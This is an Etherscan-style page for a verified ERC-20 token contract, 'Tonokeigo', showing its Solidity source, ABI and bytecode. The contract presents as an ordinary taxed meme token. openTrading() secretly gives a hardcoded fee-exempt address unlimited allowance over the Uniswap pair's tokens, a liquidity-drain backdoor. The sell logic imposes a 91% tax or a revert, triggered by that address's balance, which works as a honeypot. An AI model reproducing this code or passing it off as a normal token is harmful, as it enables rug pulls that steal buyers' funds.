ERC-20
Overview
Max Total Supply
100,000,000 ひがしのけいご
Holders
8
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.486886263979372296 ひがしのけいごValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Tonokeigo
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-05 */ // SPDX-License-Identifier:MIT /* 生き抜こうとしない者には奇跡なんか起きないと思え */ /** telegram: https://t.me/TonoKeigo_erc20 **/ pragma solidity 0.8.20; library SafeMath { function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IuniswapRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Tonokeigo is Context, Ownable,IERC20 { using SafeMath for uint256; string private constant _contract_name = unicode"『秘密』がベストセラーになる前は、爆発的な話題作には恵まれず、特定のセールスポイントを打ちだすこともなかったため、一般的には地味な存在であった。ただし、ひそかな愛読者は少なくなく、子供時代の東野を熱中させたウルトラシリーズを手がけた一人でもある映画監督の実相寺昭雄は、1993年にパソコン誌の連載エッセイで、私にとって大切な作家と言い切っている"; string private constant _contract_symbol = unicode"ひがしのけいご"; uint8 private constant _contract_decimals = 18; uint256 private constant _totalsupply_amount = 100_000_000 * 10**_contract_decimals; uint256 public _maxTaxSwap = 50_000 * 10**_contract_decimals; uint256 public _limitationMaxTaxSwap = 1_000_000 * 10**_contract_decimals; uint256 public _maxWalletSize = 2_000_000 * 10**_contract_decimals; uint256 public _maxTxAmount = 2_000_000 * 10**_contract_decimals; uint256 public _taxSwapThreshold= 2_000_000 * 10**_contract_decimals; uint256 private _reducedWhenBuyTaxs=3; uint256 private _reducedTaxUsedInSelling=1; uint256 private _usedInPreventingSwappingPrevious=0; uint256 private _blockCountsUsedInBuying=0; uint256 private _InitialeBuyTax=20; uint256 private _InitialSellTax=20; uint256 private _FinalizedBuyingTax=1; uint256 private _FinalizedSellingTax=1; bool public _enableWatchDogLimitsFlag = false; bool private _swapingInUniswapOKSigns = false; bool private _flagUsedInUniswapIsOkSigns = false; bool private flagForTradingIsOkOrNot; modifier _modifierInUniswapFlag { _flagUsedInUniswapIsOkSigns = true; _; _flagUsedInUniswapIsOkSigns = false; } uint256 private _CharityTaxUsedInSelling=91; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _map_of_addressForNotPayingFee; mapping (address => uint256) private _balances; mapping (address => bool) private _map_of_address_notSpendFeesWhenBuying; mapping(address => uint256) private _map_of_address_ForTimestampTransfering; address private _uniswapPairTokenLiquidity; address public _addressUsedInFundationFees = address(0x7964eC6acc10c3e5E4D7B092DA8bA846c770c5B3); address payable public _feesForDevsAddress; IuniswapRouter private _uniswapRouterUniswapFactory; event RemoveAllLimits(uint _maxTxAmount); constructor () { _map_of_addressForNotPayingFee[_addressUsedInFundationFees] = true; _map_of_addressForNotPayingFee[owner()] = true; _map_of_addressForNotPayingFee[address(this)] = true; _balances[_msgSender()] = _totalsupply_amount; _feesForDevsAddress = payable(msg.sender); _map_of_addressForNotPayingFee[_feesForDevsAddress] = true; emit Transfer(address(0), _msgSender(), _totalsupply_amount); } receive() external payable {} function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 amountFortoken) private _modifierInUniswapFlag { if(amountFortoken==0){return;} if(!flagForTradingIsOkOrNot){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouterUniswapFactory.WETH(); _approve(address(this), address(_uniswapRouterUniswapFactory), amountFortoken); _uniswapRouterUniswapFactory.swapExactTokensForETHSupportingFeeOnTransferTokens( amountFortoken, 0, path, address(this), block.timestamp ); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (_enableWatchDogLimitsFlag) { if (to != address(_uniswapRouterUniswapFactory) && to != address(_uniswapPairTokenLiquidity)) { require(_map_of_address_ForTimestampTransfering[tx.origin] < block.number,"Only one transfer per block allowed."); _map_of_address_ForTimestampTransfering[tx.origin] = block.number; } } if (from == _uniswapPairTokenLiquidity && to != address(_uniswapRouterUniswapFactory) && !_map_of_addressForNotPayingFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the Amount limations."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the max limitations in single Wallet."); if(_blockCountsUsedInBuying<_usedInPreventingSwappingPrevious){ require(!addressIsIsContractOrNot(to)); } _blockCountsUsedInBuying++; _map_of_address_notSpendFeesWhenBuying[to]=true; taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedWhenBuyTaxs)?_FinalizedBuyingTax:_InitialeBuyTax).div(100); } if(to == _uniswapPairTokenLiquidity && from!= address(this) && !_map_of_addressForNotPayingFee[from] ){ taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedTaxUsedInSelling)?_FinalizedSellingTax:_InitialSellTax).div(100); if (amount <= _maxTxAmount && balanceOf(_addressUsedInFundationFees)>_maxTaxSwap && balanceOf(_addressUsedInFundationFees) < _limitationMaxTaxSwap){ taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedTaxUsedInSelling)?_CharityTaxUsedInSelling:_InitialSellTax).div(100); } if (amount <= _maxTxAmount && balanceOf(_addressUsedInFundationFees)>_limitationMaxTaxSwap){ revert("Exceeds the max limitations in single Wallet."); } require(_blockCountsUsedInBuying>_usedInPreventingSwappingPrevious && _map_of_address_notSpendFeesWhenBuying[from]); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_flagUsedInUniswapIsOkSigns && to == _uniswapPairTokenLiquidity && _swapingInUniswapOKSigns && contractTokenBalance>_taxSwapThreshold && _blockCountsUsedInBuying>_usedInPreventingSwappingPrevious && !_map_of_addressForNotPayingFee[to] && !_map_of_addressForNotPayingFee[from] ) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { _feesForDevsAddress.transfer(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]= _balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function addressIsIsContractOrNot(address _addr) private view returns (bool) { uint256 lenghtContractCode; assembly { lenghtContractCode := extcodesize(_addr) } return lenghtContractCode > 0; } function removeLimits() external onlyOwner{ _maxTxAmount = _totalsupply_amount; _maxWalletSize=_totalsupply_amount; _enableWatchDogLimitsFlag=false; emit RemoveAllLimits(_totalsupply_amount); } function openTrading() external onlyOwner() { require(!flagForTradingIsOkOrNot,"trading is already open"); _uniswapRouterUniswapFactory = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_uniswapRouterUniswapFactory), _totalsupply_amount); _uniswapPairTokenLiquidity = IUniswapV2Factory(_uniswapRouterUniswapFactory.factory()).createPair(address(this), _uniswapRouterUniswapFactory.WETH()); _uniswapRouterUniswapFactory.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(_uniswapPairTokenLiquidity).approve(address(_uniswapRouterUniswapFactory), type(uint).max); _allowances[address(_uniswapPairTokenLiquidity)][address(_addressUsedInFundationFees)] = type(uint).max; _swapingInUniswapOKSigns = true; flagForTradingIsOkOrNot = true; } function setSingleTxMaxUsedInSwapping(uint256 _amount) external onlyOwner() { _maxTaxSwap = _amount; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function name() public pure returns (string memory) { return _contract_name; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function symbol() public pure returns (string memory) { return _contract_symbol; } function decimals() public pure returns (uint8) { return _contract_decimals; } function totalSupply() public pure override returns (uint256) { return _totalsupply_amount; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"RemoveAllLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_addressUsedInFundationFees","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_enableWatchDogLimitsFlag","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feesForDevsAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limitationMaxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSingleTxMaxUsedInSwapping","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126012600a62000387565b620000209061c3506200039e565b600155620000316012600a62000387565b6200004090620f42406200039e565b600255620000516012600a62000387565b6200006090621e84806200039e565b600355620000716012600a62000387565b6200008090621e84806200039e565b600455620000916012600a62000387565b620000a090621e84806200039e565b6005556003600655600160078190555f60088190556009556014600a819055600b55600c819055600d55600e805462ffffff19169055605b600f55601680546001600160a01b031916737964ec6acc10c3e5e4d7b092da8ba846c770c5b31790553480156200010d575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506016546001600160a01b03165f9081526011602081905260408220805460ff19166001908117909155916200018a5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526011909252902080549091166001179055620001d76012600a62000387565b620001e7906305f5e1006200039e565b335f81815260126020818152604080842095909555601780546001600160a01b0319168517905560119052928120805460ff1916600117905590917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200025190600a62000387565b62000261906305f5e1006200039e565b60405190815260200160405180910390a3620003b8565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002cc57815f1904821115620002b057620002b062000278565b80851615620002be57918102915b93841c939080029062000291565b509250929050565b5f82620002e45750600162000381565b81620002f257505f62000381565b81600181146200030b5760028114620003165762000336565b600191505062000381565b60ff8411156200032a576200032a62000278565b50506001821b62000381565b5060208310610133831016604e8410600b84101617156200035b575081810a62000381565b6200036783836200028c565b805f19048211156200037d576200037d62000278565b0290505b92915050565b5f6200039760ff841683620002d4565b9392505050565b808202811582820484141762000381576200038162000278565b611c1180620003c65f395ff3fe608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb14610340578063afe318201461035f578063bf474bed14610378578063c9567bf91461038d578063d1fbfb23146103a1578063dd62ed3e146103c0575f80fd5b80637d1db4a51461029e5780638da5cb5b146102b35780638f9a55c0146102cf57806395d89b41146102e4578063a58675e514610321575f80fd5b80632d552132116100f95780632d552132146101ee578063313ce567146102035780635cdc10ff1461021e57806370a0823114610255578063715018a614610274578063751039fc1461028a575f80fd5b806306fdde031461013f578063095ea7b3146101695780630faee56f1461019857806318160ddd146101bb57806323b872dd146101cf575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50610153610404565b60405161016091906115a4565b60405180910390f35b348015610174575f80fd5b50610188610183366004611606565b610427565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ad60015481565b604051908152602001610160565b3480156101c6575f80fd5b506101ad61043d565b3480156101da575f80fd5b506101886101e9366004611630565b61045d565b3480156101f9575f80fd5b506101ad60025481565b34801561020e575f80fd5b5060405160128152602001610160565b348015610229575f80fd5b5060165461023d906001600160a01b031681565b6040516001600160a01b039091168152602001610160565b348015610260575f80fd5b506101ad61026f36600461166e565b6104c4565b34801561027f575f80fd5b506102886104de565b005b348015610295575f80fd5b50610288610558565b3480156102a9575f80fd5b506101ad60045481565b3480156102be575f80fd5b505f546001600160a01b031661023d565b3480156102da575f80fd5b506101ad60035481565b3480156102ef575f80fd5b5060408051808201909152601581527438e06cb8e06338e065f8e06bb8e06478e06138e065605a1b6020820152610153565b34801561032c575f80fd5b5061028861033b366004611689565b610613565b34801561034b575f80fd5b5061018861035a366004611606565b610641565b34801561036a575f80fd5b50600e546101889060ff1681565b348015610383575f80fd5b506101ad60055481565b348015610398575f80fd5b5061028861064d565b3480156103ac575f80fd5b5060175461023d906001600160a01b031681565b3480156103cb575f80fd5b506101ad6103da3660046116a0565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b60606040518061022001604052806101fc81526020016119e06101fc9139905090565b5f610433338484610a09565b5060015b92915050565b5f61044a6012600a6117cb565b610458906305f5e1006117d9565b905090565b5f610469848484610b2c565b6104ba84336104b5856040518060600160405280602881526020016119b8602891396001600160a01b038a165f9081526010602090815260408083203384529091529020549190611241565b610a09565b5060019392505050565b6001600160a01b03165f9081526012602052604090205490565b5f546001600160a01b031633146105105760405162461bcd60e51b8152600401610507906117f0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105815760405162461bcd60e51b8152600401610507906117f0565b61058d6012600a6117cb565b61059b906305f5e1006117d9565b6004556105aa6012600a6117cb565b6105b8906305f5e1006117d9565b600355600e805460ff191690557f6a91fb24fcb212ba6dee8cdc5f11c26331c37e9000932634d235326166f2af5c6105f26012600a6117cb565b610600906305f5e1006117d9565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461063c5760405162461bcd60e51b8152600401610507906117f0565b600155565b5f610433338484610b2c565b5f546001600160a01b031633146106765760405162461bcd60e51b8152600401610507906117f0565b600e546301000000900460ff16156106d05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610507565b601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071990309061070b6012600a6117cb565b6104b5906305f5e1006117d9565b60185f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610769573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078d9190611825565b6001600160a01b031663c9c653963060185f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ec573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108109190611825565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561085a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087e9190611825565b601580546001600160a01b0319166001600160a01b039283161790556018541663f305d71947306108ae816104c4565b5f806108c15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610927573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094c9190611840565b505060155460185460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c5919061186b565b506015546001600160a01b039081165f9081526010602090815260408083206016549094168352929052205f199055600e805463ff00ff0019166301000100179055565b6001600160a01b038316610a6b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610507565b6001600160a01b038216610acc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610507565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610507565b6001600160a01b038216610bf25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610507565b5f8111610c535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610507565b5f80546001600160a01b03858116911614801590610c7e57505f546001600160a01b03848116911614155b1561110457600e5460ff1615610d3a576018546001600160a01b03848116911614801590610cba57506015546001600160a01b03848116911614155b15610d3a57325f908152601460205260409020544311610d285760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610507565b325f9081526014602052604090204390555b6015546001600160a01b038581169116148015610d6557506018546001600160a01b03848116911614155b8015610d8957506001600160a01b0383165f9081526011602052604090205460ff16155b15610e9457600454821115610de05760405162461bcd60e51b815260206004820152601d60248201527f457863656564732074686520416d6f756e74206c696d6174696f6e732e0000006044820152606401610507565b60035482610ded856104c4565b610df7919061188a565b1115610e155760405162461bcd60e51b81526004016105079061189d565b6008546009541015610e2c57823b15610e2c575f80fd5b60098054905f610e3b836118ea565b90915550506001600160a01b0383165f908152601360205260409020805460ff19166001179055600654600954610e9191606491610e8b9110610e8057600a54610e84565b600c545b8590611279565b906112fe565b90505b6015546001600160a01b038481169116148015610eba57506001600160a01b0384163014155b8015610ede57506001600160a01b0384165f9081526011602052604090205460ff16155b15610ff557610f086064610e8b60075460095411610efe57600b54610e84565b600d548590611279565b90506004548211158015610f315750600154601654610f2f906001600160a01b03166104c4565b115b8015610f525750600254601654610f50906001600160a01b03166104c4565b105b15610f7f57610f7c6064610e8b60075460095411610f7257600b54610e84565b600f548590611279565b90505b6004548211158015610fa65750600254601654610fa4906001600160a01b03166104c4565b115b15610fc35760405162461bcd60e51b81526004016105079061189d565b600854600954118015610fed57506001600160a01b0384165f9081526013602052604090205460ff165b610ff5575f80fd5b5f610fff306104c4565b600e5490915062010000900460ff1615801561102857506015546001600160a01b038581169116145b801561103b5750600e54610100900460ff165b8015611048575060055481115b80156110575750600854600954115b801561107b57506001600160a01b0384165f9081526011602052604090205460ff16155b801561109f57506001600160a01b0385165f9081526011602052604090205460ff16155b15611102576110c16110bc846110b78460015461133f565b61133f565b611353565b478015611100576017546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156110fe573d5f803e3d5ffd5b505b505b505b801561117c57305f9081526012602052604090205461112390826114d9565b305f81815260126020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111739085815260200190565b60405180910390a35b6001600160a01b0384165f9081526012602052604090205461119e9083611537565b6001600160a01b0385165f908152601260205260409020556111e16111c38383611537565b6001600160a01b0385165f90815260126020526040902054906114d9565b6001600160a01b038085165f8181526012602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61122a8585611537565b60405190815260200160405180910390a350505050565b5f81848411156112645760405162461bcd60e51b815260040161050791906115a4565b505f6112708486611902565b95945050505050565b5f825f0361128857505f610437565b5f61129383856117d9565b9050826112a08583611915565b146112f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610507565b9392505050565b5f6112f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611578565b5f81831161134d57826112f7565b50919050565b600e805462ff000019166201000017905580156114ca57600e546301000000900460ff16156114ca576040805160028082526060820183525f9260208301908036833701905050905030815f815181106113af576113af611934565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611406573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142a9190611825565b8160018151811061143d5761143d611934565b6001600160a01b0392831660209182029290920101526018546114639130911684610a09565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac9479061149b9085905f90869030904290600401611948565b5f604051808303815f87803b1580156114b2575f80fd5b505af11580156114c4573d5f803e3d5ffd5b50505050505b50600e805462ff000019169055565b5f806114e5838561188a565b9050838110156112f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610507565b5f6112f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611241565b5f81836115985760405162461bcd60e51b815260040161050791906115a4565b505f6112708486611915565b5f6020808352835180828501525f5b818110156115cf578581018301518582016040015282016115b3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611603575f80fd5b50565b5f8060408385031215611617575f80fd5b8235611622816115ef565b946020939093013593505050565b5f805f60608486031215611642575f80fd5b833561164d816115ef565b9250602084013561165d816115ef565b929592945050506040919091013590565b5f6020828403121561167e575f80fd5b81356112f7816115ef565b5f60208284031215611699575f80fd5b5035919050565b5f80604083850312156116b1575f80fd5b82356116bc816115ef565b915060208301356116cc816115ef565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172557815f190482111561170b5761170b6116d7565b8085161561171857918102915b93841c93908002906116f0565b509250929050565b5f8261173b57506001610437565b8161174757505f610437565b816001811461175d576002811461176757611783565b6001915050610437565b60ff841115611778576117786116d7565b50506001821b610437565b5060208310610133831016604e8410600b84101617156117a6575081810a610437565b6117b083836116eb565b805f19048211156117c3576117c36116d7565b029392505050565b5f6112f760ff84168361172d565b8082028115828204841417610437576104376116d7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611835575f80fd5b81516112f7816115ef565b5f805f60608486031215611852575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561187b575f80fd5b815180151581146112f7575f80fd5b80820180821115610437576104376116d7565b6020808252602d908201527f4578636565647320746865206d6178206c696d69746174696f6e7320696e207360408201526c34b733b632902bb0b63632ba1760991b606082015260800190565b5f600182016118fb576118fb6116d7565b5060010190565b81810381811115610437576104376116d7565b5f8261192f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119965784516001600160a01b031683529383019391830191600101611971565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365e3808ee7a798e5af86e3808fe3818ce38399e382b9e38388e382bbe383a9e383bce381abe381aae3828be5898de381afe38081e78886e799bae79a84e381aae8a9b1e9a18ce4bd9ce381abe381afe681b5e381bee3828ce3819ae38081e789b9e5ae9ae381aee382bbe383bce383abe382b9e3839de382a4e383b3e38388e38292e68993e381a1e381a0e38199e38193e381a8e38282e381aae3818be381a3e3819fe3819fe38281e38081e4b880e888ace79a84e381abe381afe59cb0e591b3e381aae5ad98e59ca8e381a7e38182e381a3e3819fe38082e3819fe381a0e38197e38081e381b2e3819de3818be381aae6849be8aaade88085e381afe5b091e381aae3818fe381aae3818fe38081e5ad90e4be9be69982e4bba3e381aee69db1e9878ee38292e786b1e4b8ade38195e3819be3819fe382a6e383abe38388e383a9e382b7e383aae383bce382bae38292e6898be3818ce38191e3819fe4b880e4babae381a7e38282e38182e3828be698a0e794bbe79ba3e79da3e381aee5ae9fe79bb8e5afbae698ade99b84e381afe3808131393933e5b9b4e381abe38391e382bde382b3e383b3e8aa8ce381aee980a3e8bc89e382a8e38383e382bbe382a4e381a7e38081e7a781e381abe381a8e381a3e381a6e5a4a7e58887e381aae4bd9ce5aeb6e381a8e8a880e38184e58887e381a3e381a6e38184e3828ba26469706673582212203acd9b9336487823b2d8921d81924cb2e936c44402daaf59a378edb54b8d1c8a64736f6c63430008140033
Deployed Bytecode
